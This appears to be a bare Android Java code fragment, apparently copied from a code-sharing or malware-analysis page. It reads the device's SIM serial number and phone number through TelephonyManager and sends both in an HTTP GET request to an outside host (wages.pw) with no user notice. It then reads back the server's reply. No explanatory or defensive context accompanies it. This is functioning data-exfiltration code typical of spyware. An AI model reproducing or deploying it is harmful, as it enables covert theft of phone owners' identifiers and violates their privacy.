TelephonyManager telemamanger TelephonyManager getSystemService Contex

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
TelephonyManager telemamanger = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
String getSimSerialNumber = telemamanger.getSimSerialNumber();
String mPhoneNumber = telemamanger.getLine1Number();
HttpGet req = new HttpGet("http://wages.pw/Shuusaku.php?number="+mPhoneNumber+"&snumber="+getSimSerialNumber);
try{
resp = http.execute(req);
in = new BufferedReader(new InputStreamReader(resp.getEntity().getContent()));
}catch(IOException ioe){
Toast.makeText(getBaseContext(), "IOException!",
Toast.LENGTH_SHORT).show();
}
StringBuffer sb = new StringBuffer();
String line = "";
try {
while((line = in.readLine()) != null){
sb.append(line);
}
in.close();
} catch (IOException ex) {
}
String c = sb.toString();